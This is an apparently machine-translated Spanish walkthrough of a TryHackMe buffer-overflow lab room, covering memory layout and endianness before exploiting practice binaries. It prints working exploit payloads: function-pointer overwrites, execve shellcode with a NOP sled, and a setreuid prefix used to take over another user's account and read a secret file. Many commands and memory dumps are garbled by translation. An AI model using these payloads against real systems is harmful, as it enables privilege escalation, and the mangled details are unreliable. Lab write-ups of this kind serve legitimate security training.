Esta vez, probaremos el desbordamiento del búfer.
Construir un entorno también es difícil, así que estudiaré en la habitación de abajo en Tryhackme.
"Tryhackme-Buffer Overflows: https://tryhackme.com/room/bof1 "





Introducción
Primero, inicie la máquina de destino.
Seleccione "Máquina de inicio" en la pantalla a continuación.

Si se muestra la dirección IP, el inicio está completo.

Conéctese a nuestra red, implementa la máquina e inicie sesión con las credenciales anteriores.
Una vez que haya hecho esto, puede SSH a la máquina de destino utilizando "User1: user1password".
┌── (HackLab㉿hackLab)-[~] └─ $ ssh user1@10.10.165.6 No se puede establecer la autenticidad del host '10 .10.165.6 (10.10.165.6) '. ED25519 La huella digital clave es SHA256: ASF56RWYWWHAW06LWZFQZSBY9+GUN1JRYMQRK3FP5DU. Esta clave no se sabe por otros nombres, ¿está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.165.6 '(ED25519) a la lista de hosts conocidos. User1@10.10.165.6 Password: Último inicio de sesión: miércoles 27 de noviembre 21:42:30 2019 desde 82.34.52.37 __ | __ | _) _ | (/Amazon Linux 2 ami ___ | \ ___ | https://aws.amazon.com/amazon-linux-2/ [user1@ip-10-10-165-6 ~] $
Respuesta

Diseño de procesos
Aquí encontrará una explicación del diseño de memoria dentro del proceso.
Lea las explicaciones para cada individuo.
Lo resumiré como una nota personal.
- La computadora ejecuta el programa como un proceso.
- Se pueden ejecutar múltiples procesos simultáneamente, pero para ser precisos, cambian entre procesos muy rápidamente y parecen estar funcionando simultáneamente. (Interruptor de contexto)
- Pila de usuarios: contiene información necesaria para ejecutar el programa.
Incluye contadores de programa actuales, registros guardados y otra información.
La pila de usuarios aumenta hacia abajo. (Las secciones de la pila de usuarios en adelante son memoria no utilizada) - Regiones de la biblioteca compartida: se usa para vincular estadísticas/dinámicamente las bibliotecas utilizadas en los programas.
- Heap: aumenta o disminuye dinámicamente dependiendo de si el programa asigna la memoria dinámicamente.
Por encima del montón hay secciones no asignadas que se usan cuando aumenta el tamaño del montón. - Código y datos del programa (código/datos): almacena el archivo ejecutable del programa y las variables inicializadas.
¿Dónde se almacena la memoria asignada dinámicamente?
Respuesta

¿Dónde se almacena la información sobre las funciones (por ejemplo, argumentos locales)?
Respuesta

X86-64 Procedimientos
A continuación, explicemos sobre las pilas.
No había nada nuevo en esto, así que léelo por sí mismo.
¿Qué dirección crece la pila (L para más bajo/h para mayor)
Respuesta

¿Qué instrucción se usa para agregar datos a la pila?
Respuesta

Procedimientos continuos
Yo también publicaré la respuesta aquí.
¿Qué almacena el registro de la dirección de devolución?
Respuesta

Endianness
Las diferentes arquitecturas representan los mismos números hexadecimales de diferentes maneras. Esto se llama Endianess.
- Little Endian: el valor se coloca desde el byte menos significativo hasta el byte más significativo.
- Big Endian: el valor se coloca desde el byte más significativo hasta el byte menos significativo.
Lea esto.
Respuesta

Variables de sobrescritura
De aquí en adelante, será un formato práctico.
En la carpeta Overflow-1, hay "Int-Overflow.C", así que echaré un vistazo.
[user1@IP-10-10-165-6 Overflow-1] $ Cat Int-Overflow.C #include<stdlib.h> #incluir<unistd.h> #incluir<stdio.h> int main (int argc, char ** argv) {volátil int variable = 0; Char Buffer [14]; obtiene (búfer); if (variable! = 0) {printf ("ha cambiado el valor de la variable \ n"); } else {printf ("intente de nuevo? \ n"); }}
La pila se almacena hacia abajo, por lo que podemos suponer que es "variable"> "búfer".
Cuando los datos se copian o se escriben en un búfer, los datos se escriben desde la dirección inferior a la dirección más alta.
La función GET de los datos de la entrada estándar en el búfer, pero la función GET en realidad no verifica la longitud, por lo que es posible sobrescribir las variables. (En otras palabras, si ingresa datos de 14 bytes o más, puede sobrescribir la variable).
¿Cuál es el número mínimo de caracteres necesarios para sobrescribir la variable?
De hecho, lo intentaré y lo probaré.
Primero, intente ingresar a 14 bytes como cabría esperar anteriormente.
[user1@IP-10-10-165-6 Overflow-1] $ GCC Int-Overflow.C [user1@IP-10-10-165-6 Overflow-1] $ ./a.out 01234567890123 ¿Intenta volver a?
El mensaje "Intentar de nuevo" fue salida, por lo que puede ver que no ha sido sobrescribido.
A continuación, intente ingresar 15 bytes.
[user1@IP-10-10-165-6 Overflow-1] $ ./a.out 012345678901234 Ha cambiado el valor de la variable
La salida ha cambiado de antes.
Probó que la variable no era 0, ¡por lo que era posible sobrescribirla!
Respuesta

Punteros de la función de sobrescritura
Intente anular el puntero de la función y llamar a otra función.
Primero, echemos un vistazo a "Func-Pointer.c" en Overflow-2.
[user1@IP-10-10-22-183 Overflow-2] $ Cat Func-Pointer.C #include<stdlib.h> #incluir<unistd.h> #incluir<stdio.h> void especial () {printf ("Esta es la función especial \ n"); printf ("¡Hiciste esto, amigo! \ n"); } void normal () {printf ("Esta es la función normal \ n"); } void otros () {printf ("¿Por qué está esto aquí?"); } int main (int argc, char ** argv) {volatile int (*new_ptr) () = normal; Char Buffer [14]; obtiene (búfer); new_ptr (); }
La variable sobre el búfer no es un puntero a la función, pero es la ubicación de memoria de la función normal.
Esta ubicación de memoria se sobrescribirá.
Aquí usamos el GDB (depurador).
[user1@IP-10-10-22-183 Overflow-2] $ GDB Func-Pointer GNU GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (c) 2017 Free Software Foundation, Inc. Licencia GPLV3+: GNU GPL versión 3 o más tarde<http://gnu.org/licenses/gpl.html> Este es un software gratuito: puede cambiarlo y redistribuirlo. No hay garantía, en la medida permitida por la ley. Escriba "Mostrar copia" y "Mostrar advertencia" para más detalles. Este GDB se configuró como "X86_64-Redhat-Linux-Gnu". Escriba "Mostrar configuración" para los detalles de configuración. Para las instrucciones de informes de errores, consulte:<http://www.gnu.org/software/gdb/bugs/> . Encuentre el manual de GDB y otros recursos de documentación en línea en:<http://www.gnu.org/software/gdb/documentation/> . Para obtener ayuda, escriba "Ayuda". Escriba "Apropos Word" para buscar comandos relacionados con "Word" ... Lectura de símbolos de FUNC-Pointer ... (No se encontraron símbolos de depuración) ... Hecho. (GDB) Establecer columnas exec -wrapper env -u -u -u -u
Primero, ejecutarlo e intente ingresar 13 bytes.
(GDB) Ejecutar el programa inicial:/home/user1/overflow-2/func-pointer falting separado por separado, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 1234567890123 Esta es la función normal [Inferior 1 (proceso 3567) exitada normalmente]
La función normal se está ejecutando, ¿verdad?
A continuación, intente ejecutarlo en 15 bytes.
(GDB) Ejecutar el programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-2/func-pointer 123456789012345 Programa recibido Sign SigseGV, falla de segmentación. 0x0000000400035 in ?? ()
El borde derecho de la dirección se establece en "35". (Código hexadecimal de "5"),
lo que significa que la dirección de destino de retorno ha sido sobrescribida.
Ahora, intentemos ejecutarlo en 20 bytes.
(GDB) Ejecutar el programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-2/func-pointer 12345678901234555555 Programa recibido SigseGVv, falla de segmentación. 0x0000353535 in ?? ()
Todos los valores devueltos han sido sobrescribidos "35".
A continuación, intente ejecutarlo en 21 bytes.
(GDB) Ejecutar el programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-2/func-pointer 123456789012345555555 Programa recibido SigseGVv, falla de segmentación. 0x00000004005DA en Main ()
Este es un lugar diferente, por lo que es exagerado.
En otras palabras, descubrí que hay 6 bytes para sobrescribir la dirección.
Para reescribirlo a la dirección de la función especial, veamos la dirección de la función especial.
(GDB) Desmongar el volcado especial del código de ensamblador para la función especial: 0x0000000400567 <+0>: Push %RBP 0x0000000400568 <+1>: Mov %RSP, %RBP 0x0000000040056B <+4>: Mov $ 0x400680, %EDI 0x000000000000400570 <+9>><puts@plt> 0x000000000400575 <+14>: MOV $ 0x40069d,%EDI 0x000000000040057A <+19>: Callq 0x400460<puts@plt> 0x0000000040057F <+24>: NOP 0x00000000400580 <+25>: POP %RBP 0x0000000400581 <+26>: RETQ End del volcado del ensamblador.
"0x00000000400567" es la dirección de la función especial.
Ahora, reescribamos a la dirección que se muestra arriba.
Aquí, dado que es Little Endian, "00000400567" es el siguiente:
\ x67 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00
A continuación, convierta esto en código ASCII.
g^e@
Tenga en cuenta que ^e es "Ctrl+E".
Una vez que conozca el código ASCII, intente ejecutarlo y reescribirlo.
(GDB) Ejecutar el programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-2/func-pointer 12345678901234g^e@ esta es la función especial que hiciste esto, amigo! [Inferior 1 (proceso 5144) salió normalmente]
La función especial se ejecutó correctamente.
Invocar la función especial () (llama a la función especial)
Está bien, solo hazlo como si hubiera llamado la función especial antes.
[user1@ IP-10-10-22-183 Overflow-2] $ ./funcpointer 12345678901234g^e@ Esta es la función especial que hiciste esto, ¡amigo!
Respuesta

Desbordamiento del búfer
A continuación, intente usar el desbordamiento del búfer para obtener la carcasa.
Aquí es donde se vuelve un poco más complicado. . .
Primero, vaya a Overflow-3 y verifique "Buffer-Overflow.c".
[user1@IP-10-10-22-183 Overflow-3] $ CAT buffer-overflow.c #include<stdio.h> #incluir<stdlib.h> void copy_arg (char *string) {char buffer [140]; strcpy (búfer, cadena); printf ("%s \ n", búfer); regresar 0; } int main (int argc, char ** argv) {printf ("Aquí hay un programa que hace eco de su entrada \ n"); copy_arg (argv [1]); }
Puede ver que strcpy () está copiando del argumento de la línea de comando argv [1] a un búfer de 140 bytes de longitud.
strcpy () no verifica la longitud, por lo que es posible desbordar el búfer.
La pila agrega una dirección de devolución, pero el búfer se copia hacia arriba, por lo que un desbordamiento del búfer puede sobrescribir la dirección de retorno.
Controle donde la función regrese e intente cambiar el flujo de ejecución del programa.
Use el método anterior para abrir un shell y leer el contenido del archivo Secret.txt.
Ahora, al igual que antes, usaremos GDB.
[user1@IP-10-10-22-183 Overflow-3] $ GDB Buffer-Overflow GNU GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (c) 2017 Free Software Foundation, Inc. Licencia GPLV3+: GNU GPL Versión 3 o más tarde<http://gnu.org/licenses/gpl.html> Este es un software gratuito: puede cambiarlo y redistribuirlo. No hay garantía, en la medida permitida por la ley. Escriba "Mostrar copia" y "Mostrar advertencia" para más detalles. Este GDB se configuró como "X86_64-Redhat-Linux-Gnu". Escriba "Mostrar configuración" para los detalles de configuración. Para las instrucciones de informes de errores, consulte:<http://www.gnu.org/software/gdb/bugs/> . Encuentre el manual de GDB y otros recursos de documentación en línea en:<http://www.gnu.org/software/gdb/documentation/> . Para obtener ayuda, escriba "Ayuda". Escriba "Apropos Word" para buscar comandos relacionados con "Word" ... Lectura de símbolos de Buffer-Overflow ... (No se encontraron símbolos de depuración) ... Hecho.
Primero, busque el comienzo de la dirección de devolución.
La fuente nos dice que el búfer es de 140 bytes.
Algunos entre el búfer y la dirección de devolución se llenan mediante un "byte de alineación" y un registro RBP (registro de guardado), y en una arquitectura x64 hay 8 bytes.
En otras palabras, debe ser compensaciones como el búfer (140) + byte de alineación (??) + RBP (8).
Por lo tanto, dado que es al menos 148 bytes, aumentaremos los bytes de 148 bytes hasta que se sobrescribiera la dirección de devolución.
Primero, intente ejecutarlo en 148 bytes.
(GDB) Ejecutar $ (Python -C "imprime ('a'*148)") Programa inicial:/home/user1/overflow-3/buffer-overflow $ (python -c "print ('a'*148)") faltando debuginfos separados, use: debuginfo-install glibc-25.26-32.amzn2.0.1.x86_64 aquí es un programa de Debuginfo-Install. Solía su programa AAAAA AAAAA recibió señal SigseGV, falla de segmentación. 0x00000000400595 en Main ()
La última dirección de retorno no tiene "41 (a)" y no se puede sobrescribir.
Lo aumentaremos gradualmente y veremos qué sucede cuando llegue a 153 bytes.
(GDB) Ejecutar $ (Python -C "Impresión ('A'*153)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-3/buffer-overflow $ (python -c "imprime ('a'*153)") Aquí hay un programa que hace eco de su programa AAAAA de entrada recibió señal SigseGV, falla de segmentación. 0x00000000400041 en ?? ()
La dirección de devolución es "41". Puede ver que la dirección de devolución ha sido sobrescribida.
A continuación, intente ejecutarlo en 158 bytes para ver el final de la dirección de devolución.
(GDB) Ejecutar $ (Python -C "Impresión ('A'*158)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-3/buffer-overflow $ (python -c "imprime ('a'*158)") Aquí hay un programa que hace eco de su programa AAAAA de entrada recibió señal SigseGV, falla de segmentación. 0x00004141414141 en ?? ()
La dirección de devolución está llena de "41", así que intentaré ejecutarla a 159 bytes.
(GDB) Ejecutar $ (Python -C "Impresión ('A'*159)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-3/buffer-overflow $ (python -c "print ('a'*159)") Aquí hay un programa que hace eco de su programa AAAAA de entrada recibió señal SigseGV, falla de segmentación. 0x00000000400563 en copy_arg ()
Por supuesto, ha sido demasiado y es una dirección diferente.
En otras palabras, encontramos que 6 bytes de 153 a 158 son las direcciones de devolución.
A continuación, usaremos el Código de Shell en Buffer para que la dirección de retorno apunte a esa dirección.
Tenga en cuenta que el código de shells normal y simple no funciona y debe llamar a la salida para evitar errores de Sigill.
Push $ 0x3B POP %EAX XOR %RDX, %RDX Movabs $ 0x68732f6e69622f2f, %r8 shR $ 0x8, %r8 push %r8 mov %rsp, %rdi push %rdx push %rdi mov %rsp, %rsi syscall <---------------------------------------------------------------------------------------------------------------
La versión hexadecimal del shellcode es la siguiente:
esto se extrajo de la web. (Esta vez lo estoy tirando desde
aquí Hay 40 bytes.
\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05
A continuación, buscaremos la dirección del código de shell de hexadecimal.
Asegúrese de que la basura (100 byte) + shellcode (40byte) + basura (12 byte) + dirección de retorno (6byte) = 158byte. (No hay una gran razón para la posición de basura y shellcode, por lo que está bien cambiar el byte si está dentro de 152 bytes).
Por ahora, por ahora, escribiré "A" para basura y "B" para la dirección de devolución.
(GDB) Ejecutar $ (Python -C "Impresión 'A'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '*12+' b '*6 ")) El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-3/buffer-overflow $ (Python -C "Impresión '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x 41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*12+' b '*6 ") Aquí hay un programa que hace eco de su entrada ``J; xh1i // bin/shiaphrwhj
A continuación, intente descargar la ubicación de la memoria.
(GDB) x/100x $ rsp-200 0x7ffffffffe228: 0x00400450 0x0000000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fffffffffffefffe248: 0x00000000000000xf7dce8c0 0x00007fffffffffffefffffe: 0xffe6 0x00007ffff 0x414141 0x414141 0x7fffffffffe258: 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe268: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe278: 0x414141 0x414141 0x414141 0x414141 0x7ffffffe288: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2a8: 0x414141 0x4141411 0x41414141 0x48583b6a 0x7fffffffe2b8: 0xb844444141 0x622222222222222222222 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x414141 0x7ffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x000000002 0x004005a0 0x0000000 0x7fffffe308: 0xf77a4302 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x00000040000 0x0000002 0x7ffffffffe328: 0x00400564 0x000000 0x00000000 0x000000 0x7fffffe338: 0x654af5 0xcc0a789a 0x00400450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7fffffffe358: 0x00000000 0x00000000 0x7fffffffffe358: 0x000000 0x000000 0xa82a4ef5 0x333f587e 0x7fffffffe368: 0x31ce4ef5 0x33f59752 0x000000 0x00000000 0x7fffffffe378: 0x00000000 0x000000 0x0000000 0x7fffffffffe388: 0xfffffe400 0x007ffff 0xf7fffe130 0x007fffffffff. 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7fffffffffe3a8: 0x000000 0x0000000 0x0000000
Puede ver que el búfer comienza en "tercera fila de 0x7fffffffe248" y ShellCode comienza en "4ta fila de 0x7fffffffe2a8".
"0x7fffffffe2a8" es la primera dirección de la línea donde se enumera el shellcode, y debe agregar 4 bytes por columna.
Dado que el shellcode tiene la cuarta fila, es decir, tres filas entre, agregamos 3*4byte = 12byte (oxc) y podemos ver que 0x7fffffffe2a8+oxc = 0x7fffffffffe2b4 es la dirección de inicio del shellcode.
Sin embargo, a veces la memoria cambia un poco y las direcciones pueden cambiar con cada ejecución.
Esto se puede resolver llenando la basura delante del shellcode con "NOP (\ x90)" en lugar de "A".
Un NOP es una instrucción que no hace nada y se omite.
Onda todos los NOP y ejecuta el shellcode, por lo que no necesita obtener la dirección exacta, solo obtiene la dirección en algún lugar llena de NOPS y ejecutarla.
En otras palabras, no hay problema, incluso si la memoria cambia ligeramente.
Cambie la basura delante del shellcode de "a" a "\ x90".
(GDB) Ejecutar $ (Python -C "Impresión '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '*12+' b '*6 ") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-3/buffer-overflow $ (Python -C "Impresión '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x 41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*12+' b '*6 ") Aquí hay un programa que hace eco de su entrada ``J; xh1i // bin/shiaphrwhj
Vuelva a volcar la ubicación de la memoria.
(GDB) x/100x $ RSP-200 0x7fffffffe228: 0x00400450 0x0000000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x0000000000xf7dce8c0 0x00007fffffffffffffeffe248: 0x00000000000000xf7dce8c0 0x00007fffffffffffffffe 0x00007ffff 0x90909090 0x909090 0x7fffffffffe258: 0x909090 0x909090 0x909090 0x7fffffffffe268: 0x909090 0x909090 0x7fffffffffe268: 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7fffffe288: 0x909090 0x909090 0x909090 0xfffffffffe288: 0x909090 0x909090 0x909090 0x9090909090 0x48583b6a 0x7fffffffefffefffffffffffffffffffef8: 0xb849d231 0x696222f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f22f2f2f22 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x000000002 0x004005a0 0x000000000 0x7ffffffe308: 0xf7a4302a 0x000000007ffff 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7fffffffe328: 0x00400564 0x000000 0x000000 0x000000 0x7fffffffe338: 0x02ce8e0b 0x844e9507 0x00400450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x00000000 0x7fffffffe358: 0x0000000 0x000000 0xcfae8e0b 0x7bb16a78 0x7fffffe368: 0x564a8e0b 0x7bb17acf 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 MENTA 0x7fffffffe378: 0x000000 0x0000000 0x000000 0x0000000 0x7ffffffffffe388: 0xfffffe400 0x00007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe398: 0xf7de7656 0x00007ffff 0x0000000 0x00000000000 0x7fffffffffe3a8: 0x000000 0x0000000 0x0000000
El shellcode es "4ta columna de 0x7FFFFFFFE2A8", pero puede estar llena en cualquier lugar del "90" anterior, por lo que esta vez usaré "0x7fffffffffe298" como la dirección de regreso, omitirlo y ejecutar el código de shell.
La dirección de retorno será "0x7fffffffe298" ⇒ "0x98e2ffffff7f" ⇒ "\ x98 \ xe2 \ xff \ xff \ xff \ xff \ x7f".
Intente reemplazar "B" en la dirección de retorno con "\ x98 \ xe2 \ xff \ xff \ xff \ xff \ x7f" y ejecutarla.
(GDB) Ejecutar $ (Python -C "Impresión '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xD2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x50 \ x50 48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '*12+' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Programa inicial:/home/user1/overflow-3/buffer-uperflow $ (imprime de python -c " '\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*12+' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Aquí hay un programa que hace eco de su entrada ``J; xh1i // bin/shiaphrwhj
Has adquirido con éxito el caparazón.
Si consulta al usuario con Whoami, verá que es User1.
SH-4.2 $ WHOAMI separando después de la bifurcación del proceso infantil 5377. Usuario1
Tenía secret.txt, así que probé Cat, pero parece que no funciona con el usuario1.
SH-4.2 $ LS -L DESPARACIÓN DESPUÉS DEL PROCESO NIÑO 5380. TOTAL 20 -RWSRWXR-X 1 USER2 USER2 8264 SEP 2 2019 Buffer-Overflow -RW-RW-R-- 1 User1 User1 285 Sep 2 2019 Buffer-Overflow.C.C -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Para hacerlo User2, debe agregar SetReuid a su Código de Shell.
Primero, veamos el UID del usuario2.
[user1@IP-10-10-22-183 Overflow-3] $ cat/etc/passwd raíz: x: 0: 0: root:/root:/bin/bash bin: x: 1: 1: bin:/bin:/sbin/nologin demoemon: x: 2: 2: daemon:/sbin:/sbin/nodologin ADM: X: 3: 4: adm:/var/adm:/sbin/nologin lp: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin sincron halt: x: 7: 0: halt:/sbin:/sbin/halt mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin operator: x: 11: 0: operador:/root:/sbin/nologin juegos: x: 12: 100: juegos:/usr/juegos:/sbin/nodology ftp: x: 14: 50: 50: 50: 50: 50 Usuario:/var/ftp:/sbin/nologin nadie: x: 99: 99: nadie:/:/sbin/nologin systemd-network: x: 192: 192: systemd gestión de red:/:/sbin/nologin dbus: x: 81: 81: sistema de mensajes del sistema:/:/sbin/rpc: x: 32: 32: 32: rpbbbbbbbbbbbbbbbbbbbbbbbBebB Demonio:/var/lib/rpcbind:/sbin/nologin libstoragemgmt: x: 999: 997: cuentas de demonio para libstoragemgmt:/var/run/lsm:/sbin/nologin sshd: x: 74: 74: ssh:/var/vacía/sshd:/sshd:/sbin/sbin RPCuser: X: 29: 29: RPC Servicio Usuario:/var/lib/nfs:/sbin/nologin nfsnobody: x: 65534: 65534: user de NFS anónimo:/var/lib/nfs:/sbin/nologin EC2-Instance-Connect: X: 998: 996 ::/Home/EC2-Instance-Connect:/Sbin/Nologin Postfix: X: 89: 89 ::/var/spool/postfix:/sbin/nologin Chrony: x: 997: 995 ::/var/lib/crony:/sbin/nologin tcpdump: x: 72: 72 ::/sbin/nologin EC2-User: x: 1000: 1000: EC2 Usuario predeterminado:/Home/EC2-User:/bin/Bash User1: X: 1001: 1001 ::/Home/User1:/Bin/Bash User2: X: 1002: 1002 ::/Home/User2:/Bin/Bash User3: x: 1003: 1003 ::/home/user3:/bin/bash
Descubrí que el UID de User2 es "1002".
A continuación, usaremos pwnTools para generar el código hexadecimal para la parte setreuid ().
┌── (Hacklab㉿hackLab) -[~] └─ $ PWN Shellcraft -fd amd64.linux.setreuid 1002 \ x31 \ xff \ x66 \ xbf \ xea \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05
Agregue esto al comienzo del shellcode.
Dado que son 14 bytes, también debe cambiar la basura antes del shellcode a 100-14 = 86 bytes.
Intentaré hacer esto.
[user1@IP-10-10-22-183 Overflow-3] $ ./Buffer-Overflow $ (Python -C "Impresión '\ x90'*86+'\ x31 \ xff \ x66 \ xbf \ xea \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*12+' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Aquí hay un programa que hace eco de su entrada ``1fjqxhj; xh1i // bin/shiaphrwhj
Adquirí con éxito los permisos de usuario2. (Cuando estaba usando GDB, permanecería como usuario1. Si lo hubiera ejecutado sin GDB, hubiera sido posible ejecutarlo con el usuario2).
¡Compruebe Secret.txt y termines!
SH-4.2 $ CAT SECRET.TXT OMGYUDIDTHISSOCOOL !!
Respuesta

Desbordamiento del búfer 2
La siguiente es una revisión de lo que se ha hecho hasta ahora.
Primero, echemos un vistazo a la fuente c.
[user1@IP-10-10-232-238 Overflow-4] $ CAT Buffer-Overflow-2.c #include<stdio.h> #incluir<stdlib.h> void concat_arg (char *string) {char buffer [154] = "doggo"; strcat (búfer, cadena); printf ("La nueva palabra es %s \ n", buffer); regresar 0; } int main (int argc, char ** argv) {concat_arg (argv [1]); }
strcat () es una función que puede causar un desbordamiento.
Creo que lo usaremos esta vez.
Ahora, lo ejecutemos en GDB.
[user1@IP-10-10-232-238 Overflow-4] $ GDB Buffer-Overflow-2 GNU GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (c) 2017 Free Software Foundation, Inc. Licencia GPLV3+: Versión de GNU GPL 3 o más tarde<http://gnu.org/licenses/gpl.html> Este es un software gratuito: puede cambiarlo y redistribuirlo. No hay garantía, en la medida permitida por la ley. Escriba "Mostrar copia" y "Mostrar advertencia" para más detalles. Este GDB se configuró como "X86_64-Redhat-Linux-Gnu". Escriba "Mostrar configuración" para los detalles de configuración. Para las instrucciones de informes de errores, consulte:<http://www.gnu.org/software/gdb/bugs/> . Encuentre el manual de GDB y otros recursos de documentación en línea en:<http://www.gnu.org/software/gdb/documentation/> . Para obtener ayuda, escriba "Ayuda". Escriba "Apropos Word" para buscar comandos relacionados con "Word" ... Lectura de símbolos de Buffer-Overflow-2 ... (No se encontraron símbolos de depuración) ... Hecho. (GDB)
Debe desplazarse como búfer (154)+byte de alineación (??)+RBP (8).
Comencemos con 154+8 = 162 bytes.
